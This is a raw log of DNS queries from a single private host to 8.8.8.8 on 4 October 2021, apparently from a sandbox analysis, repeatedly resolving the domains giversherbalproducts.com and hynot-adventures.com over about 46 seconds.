Oct 4, 2021 16:01:17.074904919 CEST	192.168.2.3	8.8.8.8	0xb7a7	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:17.904062033 CEST	192.168.2.3	8.8.8.8	0x3240	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:17.918346882 CEST	192.168.2.3	8.8.8.8	0x2ac4	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:17.929744959 CEST	192.168.2.3	8.8.8.8	0xa12d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:17.941803932 CEST	192.168.2.3	8.8.8.8	0x122a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:18.949887991 CEST	192.168.2.3	8.8.8.8	0xbc78	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:19.205588102 CEST	192.168.2.3	8.8.8.8	0x4a1f	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:19.218950987 CEST	192.168.2.3	8.8.8.8	0xbcf	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:19.236155033 CEST	192.168.2.3	8.8.8.8	0xa7e7	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:20.863337040 CEST	192.168.2.3	8.8.8.8	0x960c	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:20.896328926 CEST	192.168.2.3	8.8.8.8	0xb699	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:21.145982981 CEST	192.168.2.3	8.8.8.8	0xce52	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:21.174222946 CEST	192.168.2.3	8.8.8.8	0xaa9e	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:23.616425037 CEST	192.168.2.3	8.8.8.8	0x7aca	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:23.682559967 CEST	192.168.2.3	8.8.8.8	0x5d2c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:23.802339077 CEST	192.168.2.3	8.8.8.8	0x5149	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:23.865853071 CEST	192.168.2.3	8.8.8.8	0xae	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:24.666285038 CEST	192.168.2.3	8.8.8.8	0x963d	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:24.703804016 CEST	192.168.2.3	8.8.8.8	0x25f1	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:24.975909948 CEST	192.168.2.3	8.8.8.8	0x6361	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:25.001584053 CEST	192.168.2.3	8.8.8.8	0x9610	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:25.553703070 CEST	192.168.2.3	8.8.8.8	0x67e8	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:25.579721928 CEST	192.168.2.3	8.8.8.8	0xd454	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:25.893637896 CEST	192.168.2.3	8.8.8.8	0x5730	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:25.959381104 CEST	192.168.2.3	8.8.8.8	0x2395	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:26.383737087 CEST	192.168.2.3	8.8.8.8	0x7e46	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:26.408634901 CEST	192.168.2.3	8.8.8.8	0x53c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:26.910490990 CEST	192.168.2.3	8.8.8.8	0xbf9c	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:26.951529026 CEST	192.168.2.3	8.8.8.8	0x583a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:27.333690882 CEST	192.168.2.3	8.8.8.8	0xba37	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:27.368235111 CEST	192.168.2.3	8.8.8.8	0x3fbc	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:28.120554924 CEST	192.168.2.3	8.8.8.8	0x2df2	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:28.144573927 CEST	192.168.2.3	8.8.8.8	0x4b7	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:28.259315014 CEST	192.168.2.3	8.8.8.8	0xf5f8	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:28.286624908 CEST	192.168.2.3	8.8.8.8	0x6e89	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:29.033257961 CEST	192.168.2.3	8.8.8.8	0xe6ce	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:29.060336113 CEST	192.168.2.3	8.8.8.8	0x504c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:29.089622974 CEST	192.168.2.3	8.8.8.8	0xdd13	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:29.115420103 CEST	192.168.2.3	8.8.8.8	0x87ab	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:29.877839088 CEST	192.168.2.3	8.8.8.8	0x6ab3	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:29.900388002 CEST	192.168.2.3	8.8.8.8	0x5269	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:30.044207096 CEST	192.168.2.3	8.8.8.8	0x2971	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:30.070188999 CEST	192.168.2.3	8.8.8.8	0x940e	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:30.789279938 CEST	192.168.2.3	8.8.8.8	0xcc22	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:30.834824085 CEST	192.168.2.3	8.8.8.8	0x9005	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:31.100950003 CEST	192.168.2.3	8.8.8.8	0x8e1	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:31.127912998 CEST	192.168.2.3	8.8.8.8	0xcb24	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:32.426661015 CEST	192.168.2.3	8.8.8.8	0x8cb2	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:32.453332901 CEST	192.168.2.3	8.8.8.8	0x7318	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:32.481416941 CEST	192.168.2.3	8.8.8.8	0x2460	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:32.508220911 CEST	192.168.2.3	8.8.8.8	0xbd31	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:33.343187094 CEST	192.168.2.3	8.8.8.8	0xa96a	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:33.369683027 CEST	192.168.2.3	8.8.8.8	0x2adb	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:33.503530979 CEST	192.168.2.3	8.8.8.8	0xba4	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:33.529046059 CEST	192.168.2.3	8.8.8.8	0xd9af	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:34.163697004 CEST	192.168.2.3	8.8.8.8	0xe300	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:34.185780048 CEST	192.168.2.3	8.8.8.8	0x4239	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:34.413894892 CEST	192.168.2.3	8.8.8.8	0xdd5	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:34.440032005 CEST	192.168.2.3	8.8.8.8	0x237d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:35.185321093 CEST	192.168.2.3	8.8.8.8	0xa4fd	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:35.208766937 CEST	192.168.2.3	8.8.8.8	0xc468	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:35.358616114 CEST	192.168.2.3	8.8.8.8	0x60e9	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:35.383666039 CEST	192.168.2.3	8.8.8.8	0x41df	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:36.046560049 CEST	192.168.2.3	8.8.8.8	0x4906	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:36.069169998 CEST	192.168.2.3	8.8.8.8	0xc17	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:36.376852036 CEST	192.168.2.3	8.8.8.8	0x2563	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:36.397943974 CEST	192.168.2.3	8.8.8.8	0x34cf	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:36.865366936 CEST	192.168.2.3	8.8.8.8	0x8a48	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:36.888991117 CEST	192.168.2.3	8.8.8.8	0x8412	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:37.284557104 CEST	192.168.2.3	8.8.8.8	0xb6aa	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:37.307810068 CEST	192.168.2.3	8.8.8.8	0xe49d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:37.722335100 CEST	192.168.2.3	8.8.8.8	0xf0cc	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:37.749619007 CEST	192.168.2.3	8.8.8.8	0x1e73	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:38.200309992 CEST	192.168.2.3	8.8.8.8	0xa36e	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:38.224818945 CEST	192.168.2.3	8.8.8.8	0xdade	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:38.633157015 CEST	192.168.2.3	8.8.8.8	0x870e	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:38.658793926 CEST	192.168.2.3	8.8.8.8	0xbd2c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:39.193495035 CEST	192.168.2.3	8.8.8.8	0x11	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:39.226191998 CEST	192.168.2.3	8.8.8.8	0x6a51	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:39.450992107 CEST	192.168.2.3	8.8.8.8	0xac62	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:39.476640940 CEST	192.168.2.3	8.8.8.8	0xcf8c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:40.034641027 CEST	192.168.2.3	8.8.8.8	0x5344	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:40.058763027 CEST	192.168.2.3	8.8.8.8	0x6e1d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:40.424410105 CEST	192.168.2.3	8.8.8.8	0xf49a	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:40.448702097 CEST	192.168.2.3	8.8.8.8	0x422e	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:40.938163042 CEST	192.168.2.3	8.8.8.8	0xc5ff	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:40.963900089 CEST	192.168.2.3	8.8.8.8	0xb583	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:41.313707113 CEST	192.168.2.3	8.8.8.8	0xf851	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:41.337910891 CEST	192.168.2.3	8.8.8.8	0x3f50	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:42.156322956 CEST	192.168.2.3	8.8.8.8	0xa19b	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:42.181127071 CEST	192.168.2.3	8.8.8.8	0x17c9	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:42.203671932 CEST	192.168.2.3	8.8.8.8	0x3095	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:42.229407072 CEST	192.168.2.3	8.8.8.8	0x2452	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:43.111031055 CEST	192.168.2.3	8.8.8.8	0x5283	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:43.114087105 CEST	192.168.2.3	8.8.8.8	0xe0cf	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:43.136482954 CEST	192.168.2.3	8.8.8.8	0x4bf5	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:43.143177986 CEST	192.168.2.3	8.8.8.8	0x468a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:43.996592999 CEST	192.168.2.3	8.8.8.8	0x7310	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:44.005165100 CEST	192.168.2.3	8.8.8.8	0x9e88	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:44.020334959 CEST	192.168.2.3	8.8.8.8	0x6c7b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:44.029442072 CEST	192.168.2.3	8.8.8.8	0x8147	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:44.828715086 CEST	192.168.2.3	8.8.8.8	0x5e60	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:44.849232912 CEST	192.168.2.3	8.8.8.8	0x475b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:44.937653065 CEST	192.168.2.3	8.8.8.8	0xc308	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:44.959513903 CEST	192.168.2.3	8.8.8.8	0xe0d8	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:45.717844009 CEST	192.168.2.3	8.8.8.8	0xf7ad	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:45.740358114 CEST	192.168.2.3	8.8.8.8	0x6470	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:45.740828037 CEST	192.168.2.3	8.8.8.8	0xf2e2	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:45.763588905 CEST	192.168.2.3	8.8.8.8	0x86ff	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:46.615693092 CEST	192.168.2.3	8.8.8.8	0x4909	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:46.641187906 CEST	192.168.2.3	8.8.8.8	0xf0ae	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:46.688340902 CEST	192.168.2.3	8.8.8.8	0x8a74	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:46.711764097 CEST	192.168.2.3	8.8.8.8	0x9100	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:47.672683954 CEST	192.168.2.3	8.8.8.8	0x3b2e	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:47.697707891 CEST	192.168.2.3	8.8.8.8	0x98b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:47.876174927 CEST	192.168.2.3	8.8.8.8	0x1545	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:47.897595882 CEST	192.168.2.3	8.8.8.8	0x4c69	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:48.735488892 CEST	192.168.2.3	8.8.8.8	0xeae8	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:48.767301083 CEST	192.168.2.3	8.8.8.8	0x8223	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:48.954449892 CEST	192.168.2.3	8.8.8.8	0xe5e1	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:49.001002073 CEST	192.168.2.3	8.8.8.8	0xb424	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:49.532339096 CEST	192.168.2.3	8.8.8.8	0xc33e	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:49.554949045 CEST	192.168.2.3	8.8.8.8	0x7f81	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:49.850584030 CEST	192.168.2.3	8.8.8.8	0x6978	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:49.870819092 CEST	192.168.2.3	8.8.8.8	0x6d77	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:50.445039034 CEST	192.168.2.3	8.8.8.8	0xeef8	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:50.468364000 CEST	192.168.2.3	8.8.8.8	0xe860	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:50.706962109 CEST	192.168.2.3	8.8.8.8	0x18a4	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:50.729501963 CEST	192.168.2.3	8.8.8.8	0xe93d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:51.325978994 CEST	192.168.2.3	8.8.8.8	0x7c35	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:51.371548891 CEST	192.168.2.3	8.8.8.8	0x6b7f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:51.588351011 CEST	192.168.2.3	8.8.8.8	0x2e2d	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:51.612734079 CEST	192.168.2.3	8.8.8.8	0x15bf	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:52.151921988 CEST	192.168.2.3	8.8.8.8	0xf176	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:52.178745985 CEST	192.168.2.3	8.8.8.8	0x771d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:52.403517008 CEST	192.168.2.3	8.8.8.8	0x4187	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:52.427414894 CEST	192.168.2.3	8.8.8.8	0x119c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:53.048532963 CEST	192.168.2.3	8.8.8.8	0xfd17	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:53.072036982 CEST	192.168.2.3	8.8.8.8	0xba19	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:53.326735973 CEST	192.168.2.3	8.8.8.8	0x6438	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:53.350075006 CEST	192.168.2.3	8.8.8.8	0x820d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:53.890398026 CEST	192.168.2.3	8.8.8.8	0xadf7	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:53.912369013 CEST	192.168.2.3	8.8.8.8	0x3908	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:54.282213926 CEST	192.168.2.3	8.8.8.8	0xd4ee	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:54.305397987 CEST	192.168.2.3	8.8.8.8	0x2f3	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:54.652982950 CEST	192.168.2.3	8.8.8.8	0x1dcb	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:54.675585985 CEST	192.168.2.3	8.8.8.8	0xb25	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:55.098561049 CEST	192.168.2.3	8.8.8.8	0x3f8a	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:55.120716095 CEST	192.168.2.3	8.8.8.8	0xaf98	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:55.481142998 CEST	192.168.2.3	8.8.8.8	0xede9	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:55.504232883 CEST	192.168.2.3	8.8.8.8	0x1e53	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:55.857408047 CEST	192.168.2.3	8.8.8.8	0xe02e	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:55.914511919 CEST	192.168.2.3	8.8.8.8	0x7942	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:56.248712063 CEST	192.168.2.3	8.8.8.8	0xdefd	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:56.272941113 CEST	192.168.2.3	8.8.8.8	0x1cb6	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:56.856524944 CEST	192.168.2.3	8.8.8.8	0x162	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:56.933324099 CEST	192.168.2.3	8.8.8.8	0x7c5d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:57.092859983 CEST	192.168.2.3	8.8.8.8	0x2369	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:57.117593050 CEST	192.168.2.3	8.8.8.8	0xba7d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:57.794117928 CEST	192.168.2.3	8.8.8.8	0xa69d	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:57.814960003 CEST	192.168.2.3	8.8.8.8	0x80ac	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:57.970532894 CEST	192.168.2.3	8.8.8.8	0x3290	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:57.993295908 CEST	192.168.2.3	8.8.8.8	0x120a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:58.546086073 CEST	192.168.2.3	8.8.8.8	0xfe60	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:58.566200018 CEST	192.168.2.3	8.8.8.8	0x723b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:58.700192928 CEST	192.168.2.3	8.8.8.8	0xecc3	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:58.721126080 CEST	192.168.2.3	8.8.8.8	0xf06b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:59.403099060 CEST	192.168.2.3	8.8.8.8	0xc41c	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:59.426712990 CEST	192.168.2.3	8.8.8.8	0xaba2	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:59.559971094 CEST	192.168.2.3	8.8.8.8	0xa2b5	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:59.582199097 CEST	192.168.2.3	8.8.8.8	0x87f6	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:00.358628988 CEST	192.168.2.3	8.8.8.8	0x54ac	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:00.381278992 CEST	192.168.2.3	8.8.8.8	0x3f9a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:00.396392107 CEST	192.168.2.3	8.8.8.8	0xc2f7	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:00.419668913 CEST	192.168.2.3	8.8.8.8	0xf2e0	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:01.265764952 CEST	192.168.2.3	8.8.8.8	0x536b	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:01.277416945 CEST	192.168.2.3	8.8.8.8	0x2302	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:01.286087990 CEST	192.168.2.3	8.8.8.8	0x2f52	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:01.322959900 CEST	192.168.2.3	8.8.8.8	0xed5	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:02.170367956 CEST	192.168.2.3	8.8.8.8	0x559a	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:02.191210985 CEST	192.168.2.3	8.8.8.8	0xad9a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:02.213550091 CEST	192.168.2.3	8.8.8.8	0x3b8a	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:02.234019995 CEST	192.168.2.3	8.8.8.8	0x69e3	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:02.943885088 CEST	192.168.2.3	8.8.8.8	0x4ee2	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:02.968983889 CEST	192.168.2.3	8.8.8.8	0x6b8c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:03.143951893 CEST	192.168.2.3	8.8.8.8	0xbd5c	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
